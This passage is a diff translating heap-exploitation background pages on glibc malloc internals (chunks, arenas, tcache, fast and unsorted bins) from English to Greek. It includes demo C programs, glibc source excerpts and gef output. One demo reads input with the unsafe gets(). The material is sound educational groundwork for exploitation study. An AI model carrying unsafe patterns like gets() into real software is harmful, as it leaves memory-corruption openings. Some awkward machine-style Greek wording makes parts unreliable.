(__libc_mtag_new_tag (ptr), memsize (cp)); +} +return ptr; } ``` +## Παραδείγματα -## Examples - -### Quick Heap Example - -Quick heap example from [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) but in arm64: +### Γρήγορο Παράδειγμα Σωρού +Γρήγορο παράδειγμα σωρού από [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) αλλά σε arm64: ```c #include #include @@ -425,32 +404,28 @@ Quick heap example from [https://guyinatuxedo.github.io/25-heap/index.html](http void main(void) { - char *ptr; - ptr = malloc(0x10); - strcpy(ptr, "panda"); +char *ptr; +ptr = malloc(0x10); +strcpy(ptr, "panda"); } ``` - -Set a breakpoint at the end of the main function and lets find out where the information was stored: +Ορίστε ένα σημείο διακοπής στο τέλος της κύριας συνάρτησης και ας δούμε πού αποθηκεύτηκε η πληροφορία:
-It's possible to see that the string panda was stored at `0xaaaaaaac12a0` (which was the address given as response by malloc inside `x0`). Checking 0x10 bytes before it's possible to see that the `0x0` represents that the **previous chunk is not used** (length 0) and that the length of this chunk is `0x21`. - -The extra spaces reserved (0x21-0x10=0x11) comes from the **added headers** (0x10) and 0x1 doesn't mean that it was reserved 0x21B but the last 3 bits of the length of the current headed have the some special meanings. As the length is always 16-byte aligned (in 64bits machines), these bits are actually never going to be used by the length number. +Είναι δυνατόν να δούμε ότι η συμβολοσειρά panda αποθηκεύτηκε στη διεύθυνση `0xaaaaaaac12a0` (η οποία ήταν η διεύθυνση που δόθηκε ως απάντηση από το malloc μέσα στο `x0`). Ελέγχοντας 0x10 bytes πριν, είναι δυνατόν να δούμε ότι το `0x0` αντιπροσωπεύει ότι το **προηγούμενο κομμάτι δεν χρησιμοποιείται** (μήκος 0) και ότι το μήκος αυτού του κομματιού είναι `0x21`. +Οι επιπλέον χώροι που έχουν κρατηθεί (0x21-0x10=0x11) προέρχονται από τις **προστιθέμενες κεφαλίδες** (0x10) και το 0x1 δεν σημαίνει ότι κρατήθηκε 0x21B αλλά τα τελευταία 3 bits του μήκους της τρέχουσας κεφαλίδας έχουν κάποιες ειδικές σημασίες. Καθώς το μήκος είναι πάντα ευθυγραμμισμένο σε 16 bytes (σε μηχανές 64 bits), αυτά τα bits στην πραγματικότητα δεν θα χρησιμοποιηθούν ποτέ από τον αριθμό μήκους. ``` 0x1: Previous in Use - Specifies that the chunk before it in memory is in use 0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap() 0x4: Non Main Arena - Specifies that the chunk was obtained from outside of the main arena ``` - -### Multithreading Example +### Παράδειγμα Πολυνηματικής Εκτέλεσης
-Multithread - +Πολυνηματική ```c #include #include @@ -460,56 +435,55 @@ The extra spaces reserved (0x21-0x10=0x11) comes from the **added headers** (0x1 void* threadFuncMalloc(void* arg) { - printf("Hello from thread 1\n"); - char* addr = (char*) malloc(1000); - printf("After malloc and before free in thread 1\n"); - free(addr); - printf("After free in thread 1\n"); +printf("Hello from thread 1\n"); +char* addr = (char*) malloc(1000); +printf("After malloc and before free in thread 1\n"); +free(addr); +printf("After free in thread 1\n"); } void* threadFuncNoMalloc(void* arg) { - printf("Hello from thread 2\n"); +printf("Hello from thread 2\n"); } int main() { - pthread_t t1; - void* s; - int ret; - char* addr; +pthread_t t1; +void* s; +int ret; +char* addr; - printf("Before creating thread 1\n"); - getchar(); - ret = pthread_create(&t1, NULL, threadFuncMalloc, NULL); - getchar(); +printf("Before creating thread 1\n"); +getchar(); +ret = pthread_create(&t1, NULL, threadFuncMalloc, NULL); +getchar(); - printf("Before creating thread 2\n"); - ret = pthread_create(&t1, NULL, threadFuncNoMalloc, NULL); +printf("Before creating thread 2\n"); +ret = pthread_create(&t1, NULL, threadFuncNoMalloc, NULL); - printf("Before exit\n"); - getchar(); +printf("Before exit\n"); +getchar(); - return 0; +return 0; } ``` -
-Debugging the previous example it's possible to see how at the beginning there is only 1 arena: +Αναλύοντας το προηγούμενο παράδειγμα, είναι δυνατόν να δούμε πώς στην αρχή υπάρχει μόνο 1 αρένα:
-Then, after calling the first thread, the one that calls malloc, a new arena is created: +Στη συνέχεια, μετά την κλήση του πρώτου νήματος, αυτού που καλεί το malloc, δημιουργείται μια νέα αρένα:
-and inside of it some chunks can be found: +και μέσα σε αυτήν μπορούν να βρεθούν μερικά κομμάτια:
## Bins & Memory Allocations/Frees -Check what are the bins and how are they organized and how memory is allocated and freed in: +Ελέγξτε ποια είναι τα bins και πώς είναι οργανωμένα και πώς η μνήμη κατανέμεται και απελευθερώνεται σε: {{#ref}} bins-and-memory-allocations.md @@ -517,7 +491,7 @@ bins-and-memory-allocations.md ## Heap Functions Security Checks -Functions involved in heap will perform certain check before performing its actions to try to make sure the heap wasn't corrupted: +Οι συναρτήσεις που εμπλέκονται στο heap θα εκτελούν ορισμένους ελέγχους πριν εκτελέσουν τις ενέργειές τους για να προσπαθήσουν να διασφαλίσουν ότι το heap δεν έχει διαφθαρεί: {{#ref}} heap-memory-functions/heap-functions-security-checks.md diff --git a/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md b/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md index eb184fc93..584e20d83 100644 --- a/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md +++ b/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md @@ -4,58 +4,53 @@ ## Basic Information -In order to improve the efficiency on how chunks are stored every chunk is not just in one linked list, but there are several types. These are the bins and there are 5 type of bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) small bins, 63 large bins, 1 unsorted bin, 10 fast bins and 64 tcache bins per thread. +Για να βελτιωθεί η αποδοτικότητα της αποθήκευσης των chunks, κάθε chunk δεν είναι απλώς σε μία συνδεδεμένη λίστα, αλλά υπάρχουν διάφοροι τύποι. Αυτοί είναι οι bins και υπάρχουν 5 τύποι bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) μικροί bins, 63 μεγάλοι bins, 1 αταξινόμητος bin, 10 γρήγοροι bins και 64 tcache bins ανά νήμα. -The initial address to each unsorted, small and large bins is inside the same array. The index 0 is unused, 1 is the unsorted bin, bins 2-64 are small bins and bins 65-127 are large bins. +Η αρχική διεύθυνση για κάθε αταξινόμητο, μικρό και μεγάλο bin είναι μέσα στην ίδια σειρά. Ο δείκτης 0 είναι ανενεργός, 1 είναι ο αταξινόμητος bin, οι bins 2-64 είναι μικροί bins και οι bins 65-127 είναι μεγάλοι bins. ### Tcache (Per-Thread Cache) Bins -Even though threads try to have their own heap (see [Arenas](bins-and-memory-allocations.md#arenas) and [Subheaps](bins-and-memory-allocations.md#subheaps)), there is the possibility that a process with a lot of threads (like a web server) **will end sharing the heap with another threads**. In this case, the main solution is the use of **lockers**, which might **slow down significantly the threads**. +Ακόμα και αν τα νήματα προσπαθούν να έχουν το δικό τους heap (βλ. [Arenas](bins-and-memory-allocations.md#arenas) και [Subheaps](bins-and-memory-allocations.md#subheaps)), υπάρχει η πιθανότητα μια διαδικασία με πολλά νήματα (όπως ένας web server) **να μοιραστεί το heap με άλλα νήματα**. Σε αυτή την περίπτωση, η κύρια λύση είναι η χρήση **locker**, που μπορεί να **επιβραδύνει σημαντικά τα νήματα**. -Therefore, a tcache is similar to a fast bin per thread in the way that it's a **single linked list** that doesn't merge chunks. Each thread has **64 singly-linked tcache bins**. Each bin can have a maximum of [7 same-size chunks](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) ranging from [24 to 1032B on 64-bit systems and 12 to 516B on 32-bit systems](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315). +Επομένως, ένα tcache είναι παρόμοιο με έναν γρήγορο bin ανά νήμα με τον τρόπο που είναι μια **μοναδική συνδεδεμένη λίστα** που δεν συγχωνεύει chunks. Κάθε νήμα έχει **64 απλά συνδεδεμένα tcache bins**. Κάθε bin μπορεί να έχει μέγιστο [7 chunks ίδιου μεγέθους](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) που κυμαίνονται από [24 έως 1032B σε συστήματα 64-bit και 12 έως 516B σε συστήματα 32-bit](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315). -**When a thread frees** a chunk, **if it isn't too big** to be allocated in the tcache and the respective tcache bin **isn't full** (already 7 chunks), **it'll be allocated in there**. If it cannot go to the tcache, it'll need to wait for the heap lock to be able to perform the free operation globally. +**Όταν ένα νήμα απελευθερώνει** ένα chunk, **αν δεν είναι πολύ μεγάλο** για να κατανεμηθεί στο tcache και ο αντίστοιχος tcache bin **δεν είναι γεμάτος** (ήδη 7 chunks), **θα κατανεμηθεί εκεί**. Αν δεν μπορεί να πάει στο tcache, θα χρειαστεί να περιμένει για το κλείδωμα του heap για να μπορέσει να εκτελέσει την παγκόσμια λειτουργία απελευθέρωσης. -When a **chunk is allocated**, if there is a free chunk of the needed size in the **Tcache it'll use it**, if not, it'll need to wait for the heap lock to be able to find one in the global bins or create a new one.\ -There's also an optimization, in this case, while having the heap lock, the thread **will fill his Tcache with heap chunks (7) of the requested size**, so in case it needs more, it'll find them in Tcache. +Όταν ένα **chunk κατανεμηθεί**, αν υπάρχει ένα ελεύθερο chunk του απαιτούμενου μεγέθους στο **Tcache θα το χρησιμοποιήσει**, αν όχι, θα χρειαστεί να περιμένει για το κλείδωμα του heap για να μπορέσει να βρει ένα στους παγκόσμιους bins ή να δημιουργήσει ένα νέο.\ +Υπάρχει επίσης μια βελτιστοποίηση, σε αυτή την περίπτωση, ενώ έχει το κλείδωμα του heap, το νήμα **θα γεμίσει το Tcache του με chunks heap (7) του ζητούμενου μεγέθους**, έτσι σε περίπτωση που χρειαστεί περισσότερα, θα τα βρει στο Tcache.
-Add a tcache chunk example - +Προσθήκη παραδείγματος chunk tcache ```c #include #include int main(void) { - char *chunk; - chunk = malloc(24); - printf("Address of the chunk: %p\n", (void *)chunk); - gets(chunk); - free(chunk); - return 0; +char *chunk; +chunk = malloc(24); +printf("Address of the chunk: %p\n", (void *)chunk); +gets(chunk); +free(chunk); +return 0; } ``` - -Compile it and debug it with a breakpoint in the ret opcode from main function. then with gef you can see the tcache bin in use: - +Συγκεντρώστε το και αποσφαλματώστε το με ένα σημείο διακοπής στον κωδικό op της συνάρτησης main. Στη συνέχεια, με το gef μπορείτε να δείτε το tcache bin σε χρήση: ```bash gef➤ heap bins ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── Tcachebins[idx=0, size=0x20, count=1] ← Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ``` -
-#### Tcache Structs & Functions +#### Δομές & Συναρτήσεις Tcache -In the following code it's possible to see the **max bins** and **chunks per index**, the **`tcache_entry`** struct created to avoid double frees and **`tcache_perthread_struct`**, a struct that each thread uses to store the addresses to each index of the bin. +Στον παρακάτω κώδικα είναι δυνατόν να δούμε τα **max bins** και **chunks per index**, τη δομή **`tcache_entry`** που δημιουργήθηκε για να αποφεύγονται οι διπλές απελευθερώσεις και τη **`tcache_perthread_struct`**, μια δομή που χρησιμοποιεί κάθε νήμα για να αποθηκεύει τις διευθύνσεις σε κάθε δείκτη του bin.
-tcache_entry and tcache_perthread_struct - +tcache_entry και tcache_perthread_struct ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c @@ -72,135 +67,131 @@ In the following code it's possible to see the **max bins** and **chunks per ind # define usize2tidx(x) csize2tidx (request2size (x)) /* With rounding and alignment, the bins are... - idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit) - idx 1 bytes 25..40 or 13..20 - idx 2 bytes 41..56 or 21..28 - etc. */ +idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit) +idx 1 bytes 25..40 or 13..20 +idx 2 bytes 41..56 or 21..28 +etc. */ /* This is another arbitrary limit, which tunables can change. Each - tcache bin will hold at most this number of chunks. */ +tcache bin will hold at most this number of chunks. */ # define TCACHE_FILL_COUNT 7 /* Maximum chunks in tcache bins for tunables. This value must fit the range - of tcache->counts[] entries, else they may overflow. */ +of tcache->counts[] entries, else they may overflow. */ # define MAX_TCACHE_COUNT UINT16_MAX [...] typedef struct tcache_entry { - struct tcache_entry *next; - /* This field exists to detect double frees. */ - uintptr_t key; +struct tcache_entry *next; +/* This field exists to detect double frees. */ +uintptr_t key; } tcache_entry; /* There is one of these for each thread, which contains the - per-thread cache (hence "tcache_perthread_struct"). Keeping - overall size low is mildly important. Note that COUNTS and ENTRIES - are redundant (we could have just counted the linked list each - time), this is for performance reasons. */ +per-thread cache (hence "tcache_perthread_struct"). Keeping +overall size low is mildly important. Note that COUNTS and ENTRIES +are redundant (we could have just counted the linked list each +time), this is for performance reasons. */ typedef struct tcache_perthread_struct { - uint16_t counts[TCACHE_MAX_BINS]; - tcache_entry *entries[TCACHE_MAX_BINS]; +uint16_t counts[TCACHE_MAX_BINS]; +tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct; ``` -
-The function `__tcache_init` is the function that creates and allocates the space for the `tcache_perthread_struct` obj +Η συνάρτηση `__tcache_init` είναι η συνάρτηση που δημιουργεί και εκχωρεί τον χώρο για το αντικείμενο `tcache_perthread_struct`
-tcache_init code - +κώδικας tcache_init ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3241C1-L3274C2 static void tcache_init(void) { - mstate ar_ptr; - void *victim = 0; - const size_t bytes = sizeof (tcache_perthread_struct); +mstate ar_ptr; +void *victim = 0; +const size_t bytes = sizeof (tcache_perthread_struct); - if (tcache_shutting_down) - return; +if (tcache_shutting_down) +return; - arena_get (ar_ptr, bytes); - victim = _int_malloc (ar_ptr, bytes); - if (!victim && ar_ptr != NULL) - { - ar_ptr = arena_get_retry (ar_ptr, bytes); - victim = _int_malloc (ar_ptr, bytes); - } +arena_get (ar_ptr, bytes); +victim = _int_malloc (ar_ptr, bytes); +if (!victim && ar_ptr != NULL) +{ +ar_ptr = arena_get_retry (ar_ptr, bytes); +victim = _int_malloc (ar_ptr, bytes); +} - if (ar_ptr != NULL) - __libc_lock_unlock (ar_ptr->mutex); +if (ar_ptr != NULL) +__libc_lock_unlock (ar_ptr->mutex); - /* In a low memory situation, we may not be able to allocate memory - - in which case, we just keep trying later. However, we - typically do this very early, so either there is sufficient - memory, or there isn't enough memory to do non-trivial - allocations anyway. */ - if (victim) - { - tcache = (tcache_perthread_struct *) victim; - memset (tcache, 0, sizeof (tcache_perthread_struct)); - } +/* In a low memory situation, we may not be able to allocate memory +- in which case, we just keep trying later. However, we +typically do this very early, so either there is sufficient +memory, or there isn't enough memory to do non-trivial +allocations anyway. */ +if (victim) +{ +tcache = (tcache_perthread_struct *) victim; +memset (tcache, 0, sizeof (tcache_perthread_struct)); +} } ``` -
-#### Tcache Indexes +#### Δείκτες Tcache -The tcache have several bins depending on the size an the initial pointers to the **first chunk of each index and the amount of chunks per index are located inside a chunk**. This means that locating the chunk with this information (usually the first), it's possible to find all the tcache initial points and the amount of Tcache chunks. +Το tcache έχει αρκετούς κάδους ανάλογα με το μέγεθος και τους αρχικούς δείκτες στο **πρώτο κομμάτι κάθε δείκτη και την ποσότητα κομματιών ανά δείκτη που βρίσκονται μέσα σε ένα κομμάτι**. Αυτό σημαίνει ότι εντοπίζοντας το κομμάτι με αυτές τις πληροφορίες (συνήθως το πρώτο), είναι δυνατόν να βρεθούν όλα τα αρχικά σημεία tcache και η ποσότητα των κομματιών Tcache. -### Fast bins +### Γρήγοροι κάδοι -Fast bins are designed to **speed up memory allocation for small chunks** by keeping recently freed chunks in a quick-access structure. These bins use a Last-In, First-Out (LIFO) approach, which means that the **most recently freed chunk is the first** to be reused when there's a new allocation request. This behaviour is advantageous for speed, as it's faster to insert and remove from the top of a stack (LIFO) compared to a queue (FIFO). +Οι γρήγοροι κάδοι έχουν σχεδιαστεί για να **ταχύτητα την κατανομή μνήμης για μικρά κομμάτια** διατηρώντας πρόσφατα απελευθερωμένα κομμάτια σε μια δομή γρήγορης πρόσβασης. Αυτοί οι κάδοι χρησιμοποιούν μια προσέγγιση Last-In, First-Out (LIFO), που σημαίνει ότι το **πιο πρόσφατα απελευθερωμένο κομμάτι είναι το πρώτο** που θα ξαναχρησιμοποιηθεί όταν υπάρχει ένα νέο αίτημα κατανομής. Αυτή η συμπεριφορά είναι ευνοϊκή για την ταχύτητα, καθώς είναι πιο γρήγορο να εισάγεις και να αφαιρείς από την κορυφή μιας στοίβας (LIFO) σε σύγκριση με μια ουρά (FIFO). -Additionally, **fast bins use singly linked lists**, not double linked, which further improves speed. Since chunks in fast bins aren't merged with neighbours, there's no need for a complex structure that allows removal from the middle. A singly linked list is simpler and quicker for these operations. +Επιπλέον, **οι γρήγοροι κάδοι χρησιμοποιούν απλές συνδεδεμένες λίστες**, όχι διπλά συνδεδεμένες, γεγονός που βελτιώνει περαιτέρω την ταχύτητα. Δεδομένου ότι τα κομμάτια στους γρήγορους κάδους δεν συγχωνεύονται με γείτονες, δεν υπάρχει ανάγκη για μια περίπλοκη δομή που να επιτρέπει την αφαίρεση από τη μέση. Μια απλή συνδεδεμένη λίστα είναι πιο απλή και γρήγορη για αυτές τις λειτουργίες. -Basically, what happens here is that the header (the pointer to the first chunk to check) is always pointing to the latest freed chunk of that size. So: +Βασικά, αυτό που συμβαίνει εδώ είναι ότι η κεφαλίδα (ο δείκτης στο πρώτο κομμάτι που θα ελεγχθεί) δείχνει πάντα στο πιο πρόσφατα απελευθερωμένο κομμάτι αυτού του μεγέθους. Έτσι: -- When a new chunk is allocated of that size, the header is pointing to a free chunk to use. As this free chunk is pointing to the next one to use, this address is stored in the header so the next allocation knows where to get an available chunk -- When a chunk is freed, the free chunk will save the address to the current available chunk and the address to this newly freed chunk will be put in the header +- Όταν ένα νέο κομμάτι κατανεμηθεί αυτού του μεγέθους, η κεφαλίδα δείχνει σε ένα ελεύθερο κομμάτι προς χρήση. Καθώς αυτό το ελεύθερο κομμάτι δείχνει στο επόμενο προς χρήση, αυτή η διεύθυνση αποθηκεύεται στην κεφαλίδα ώστε η επόμενη κατανομή να γνωρίζει πού να βρει ένα διαθέσιμο κομμάτι +- Όταν ένα κομμάτι απελευθερωθεί, το ελεύθερο κομμάτι θα αποθηκεύσει τη διεύθυνση του τρέχοντος διαθέσιμου κομματιού και η διεύθυνση αυτού του νέου απελευθερωμένου κομματιού θα τοποθετηθεί στην κεφαλίδα -The maximum size of a linked list is `0x80` and they are organized so a chunk of size `0x20` will be in index `0`, a chunk of size `0x30` would be in index `1`... +Το μέγιστο μέγεθος μιας συνδεδεμένης λίστας είναι `0x80` και οργανώνονται έτσι ώστε ένα κομμάτι μεγέθους `0x20` να βρίσκεται στον δείκτη `0`, ένα κομμάτι μεγέθους `0x30` να βρίσκεται στον δείκτη `1`... > [!CAUTION] -> Chunks in fast bins aren't set as available so they are keep as fast bin chunks for some time instead of being able to merge with other free chunks surrounding them. - +> Τα κομμάτια στους γρήγορους κάδους δεν ορίζονται ως διαθέσιμα, οπότε διατηρούνται ως κομμάτια γρήγορου κάδου για κάποιο χρονικό διάστημα αντί να μπορούν να συγχωνευτούν με άλλα ελεύθερα κομμάτια που τα περιβάλλουν. ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 /* - Fastbins +Fastbins - An array of lists holding recently freed small chunks. Fastbins - are not doubly linked. It is faster to single-link them, and - since chunks are never removed from the middles of these lists, - double linking is not necessary. Also, unlike regular bins, they - are not even processed in FIFO order (they use faster LIFO) since - ordering doesn't much matter in the transient contexts in which - fastbins are normally used. +An array of lists holding recently freed small chunks. Fastbins +are not doubly linked. It is faster to single-link them, and +since chunks are never removed from the middles of these lists, +double linking is not necessary. Also, unlike regular bins, they +are not even processed in FIFO order (they use faster LIFO) since +ordering doesn't much matter in the transient contexts in which +fastbins are normally used. - Chunks in fastbins keep their inuse bit set, so they cannot - be consolidated with other free chunks. malloc_consolidate - releases all chunks in fastbins and consolidates them with - other free chunks. - */ +Chunks in fastbins keep their inuse bit set, so they cannot +be consolidated with other free chunks. malloc_consolidate +releases all chunks in fastbins and consolidates them with +other free chunks. +*/ typedef struct malloc_chunk *mfastbinptr; #define fastbin(ar_ptr, idx) ((ar_ptr)->fastbinsY[idx]) /* offset 2 to use otherwise unindexable first 2 bins */ #define fastbin_index(sz) \ - ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2) +((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2) /* The maximum fastbin request size we support */ @@ -208,43 +199,39 @@ typedef struct malloc_chunk *mfastbinptr; #define NFASTBINS (fastbin_index (request2size (MAX_FAST_SIZE)) + 1) ``` -
-Add a fastbin chunk example - +Προσθήκη παραδείγματος fastbin chunk ```c #include #include int main(void) { - char *chunks[8]; - int i; +char *chunks[8]; +int i; - // Loop to allocate memory 8 times - for (i = 0; i < 8; i++) { - chunks[i] = malloc(24); - if (chunks[i] == NULL) { // Check if malloc failed - fprintf(stderr, "Memory allocation failed at iteration %d\n", i); - return 1; - } - printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); - } +// Loop to allocate memory 8 times +for (i = 0; i < 8; i++) { +chunks[i] = malloc(24); +if (chunks[i] == NULL) { // Check if malloc failed +fprintf(stderr, "Memory allocation failed at iteration %d\n", i); +return 1; +} +printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); +} - // Loop to free the allocated memory - for (i = 0; i < 8; i++) { - free(chunks[i]); - } +// Loop to free the allocated memory +for (i = 0; i < 8; i++) { +free(chunks[i]); +} - return 0; +return 0; } ``` +Σημειώστε πώς κατανέμουμε και απελευθερώνουμε 8 κομμάτια του ίδιου μεγέθους ώστε να γεμίσουν το tcache και το όγδοο αποθηκεύεται στο γρήγορο κομμάτι. -Note how we allocate and free 8 chunks of the same size so they fill the tcache and the eight one is stored in the fast chunk. - -Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the fast bin: - +Συγκεντρώστε το και αποσφαλματώστε το με ένα breakpoint στον `ret` opcode από τη συνάρτηση `main`. Στη συνέχεια, με το `gef` μπορείτε να δείτε ότι το tcache bin είναι γεμάτο και ένα κομμάτι είναι στο γρήγορο bin: ```bash gef➤ heap bins ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── @@ -253,58 +240,54 @@ Tcachebins[idx=0, size=0x20, count=7] ← Chunk(addr=0xaaaaaaac1770, size=0x20, Fastbins[idx=0, size=0x20] ← Chunk(addr=0xaaaaaaac1790, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) Fastbins[idx=1, size=0x30] 0x00 ``` -
-### Unsorted bin +### Αταξινόμητος κάδος -The unsorted bin is a **cache** used by the heap manager to make memory allocation quicker. Here's how it works: When a program frees a chunk, and if this chunk cannot be allocated in a tcache or fast bin and is not colliding with the top chunk, the heap manager doesn't immediately put it in a specific small or large bin. Instead, it first tries to **merge it with any neighbouring free chunks** to create a larger block of free memory. Then, it places this new chunk in a general bin called the "unsorted bin." +Ο αταξινόμητος κάδος είναι μια **κρυφή μνήμη** που χρησιμοποιείται από τον διαχειριστή σωρού για να επιταχύνει την κατανομή μνήμης. Να πώς λειτουργεί: Όταν ένα πρόγραμμα απελευθερώνει ένα κομμάτι, και αν αυτό το κομμάτι δεν μπορεί να κατανεμηθεί σε tcache ή γρήγορο κάδο και δεν συγκρούεται με το κορυφαίο κομμάτι, ο διαχειριστής σωρού δεν το τοποθετεί αμέσως σε έναν συγκεκριμένο μικρό ή μεγάλο κάδο. Αντίθετα, πρώτα προσπαθεί να **συγχωνεύσει το με οποιαδήποτε γειτονικά ελεύθερα κομμάτια** για να δημιουργήσει ένα μεγαλύτερο μπλοκ ελεύθερης μνήμης. Στη συνέχεια, το τοποθετεί σε έναν γενικό κάδο που ονομάζεται "αταξινόμητος κάδος." -When a program **asks for memory**, the heap manager **checks the unsorted bin** to see if there's a chunk of enough size. If it finds one, it uses it right away. If it doesn't find a suitable chunk in the unsorted bin, it moves all the chunks in this list to their corresponding bins, either small or large, based on their size. +Όταν ένα πρόγραμμα **ζητά μνήμη**, ο διαχειριστής σωρού **ελέγχει τον αταξινόμητο κάδο** για να δει αν υπάρχει ένα κομμάτι επαρκούς μεγέθους. Αν βρει ένα, το χρησιμοποιεί αμέσως. Αν δεν βρει ένα κατάλληλο κομμάτι στον αταξινόμητο κάδο, μεταφέρει όλα τα κομμάτια σε αυτή τη λίστα στους αντίστοιχους κάδους τους, είτε μικρούς είτε μεγάλους, με βάση το μέγεθός τους. -Note that if a larger chunk is split in 2 halves and the rest is larger than MINSIZE, it'll be paced back into the unsorted bin. +Σημειώστε ότι αν ένα μεγαλύτερο κομμάτι χωριστεί σε 2 μισά και το υπόλοιπο είναι μεγαλύτερο από το MINSIZE, θα τοποθετηθεί ξανά στον αταξινόμητο κάδο. -So, the unsorted bin is a way to speed up memory allocation by quickly reusing recently freed memory and reducing the need for time-consuming searches and merges. +Έτσι, ο αταξινόμητος κάδος είναι ένας τρόπος για να επιταχυνθεί η κατανομή μνήμης επαναχρησιμοποιώντας γρήγορα πρόσφατα απελευθερωμένη μνήμη και μειώνοντας την ανάγκη για χρονοβόρες αναζητήσεις και συγχωνεύσεις. > [!CAUTION] -> Note that even if chunks are of different categories, if an available chunk is colliding with another available chunk (even if they belong originally to different bins), they will be merged. +> Σημειώστε ότι ακόμη και αν τα κομμάτια είναι διαφορετικών κατηγοριών, αν ένα διαθέσιμο κομμάτι συγκρούεται με ένα άλλο διαθέσιμο κομμάτι (ακόμη και αν ανήκουν αρχικά σε διαφορετικούς κάδους), θα συγχωνευτούν.
-Add a unsorted chunk example - +Προσθήκη παραδείγματος αταξινόμητου κομματιού ```c #include #include int main(void) { - char *chunks[9]; - int i; +char *chunks[9]; +int i; - // Loop to allocate memory 8 times - for (i = 0; i < 9; i++) { - chunks[i] = malloc(0x100); - if (chunks[i] == NULL) { // Check if malloc failed - fprintf(stderr, "Memory allocation failed at iteration %d\n", i); - return 1; - } - printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); - } +// Loop to allocate memory 8 times +for (i = 0; i < 9; i++) { +chunks[i] = malloc(0x100); +if (chunks[i] == NULL) { // Check if malloc failed +fprintf(stderr, "Memory allocation failed at iteration %d\n", i); +return 1; +} +printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); +} - // Loop to free the allocated memory - for (i = 0; i < 8; i++) { - free(chunks[i]); - } +// Loop to free the allocated memory +for (i = 0; i < 8; i++) { +free(chunks[i]); +} - return 0; +return 0; } ``` +Σημειώστε πώς κατανέμουμε και απελευθερώνουμε 9 κομμάτια του ίδιου μεγέθους ώστε να **γεμίσουν το tcache** και το όγδοο αποθηκεύεται στο unsorted bin επειδή είναι **πολύ μεγάλο για το fastbin** και το ένατο δεν έχει απελευθερωθεί, οπότε το ένατο και το όγδοο **δεν συγχωνεύονται με το κορυφαίο κομμάτι**. -Note how we allocate and free 9 chunks of the same size so they **fill the tcache** and the eight one is stored in the unsorted bin because it's **too big for the fastbin** and the nineth one isn't freed so the nineth and the eighth **don't get merged with the top chunk**. - -Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. Then with `gef` you can see that the tcache bin is full and one chunk is in the unsorted bin: - +Συγκεντρώστε το και αποσφαλματώστε το με ένα breakpoint στον `ret` opcode από τη συνάρτηση `main`. Στη συνέχεια, με το `gef` μπορείτε να δείτε ότι το tcache bin είναι γεμάτο και ένα κομμάτι είναι στο unsorted bin: ```bash gef➤ heap bins ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── @@ -319,23 +302,21 @@ Fastbins[idx=5, size=0x70] 0x00 Fastbins[idx=6, size=0x80] 0x00 ─────────────────────────────────────────────────────────────────────── Unsorted Bin for arena at 0xfffff7f90b00 ─────────────────────────────────────────────────────────────────────── [+] unsorted_bins[0]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10 - → Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) +→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) [+] Found 1 chunks in unsorted bin. ``` -
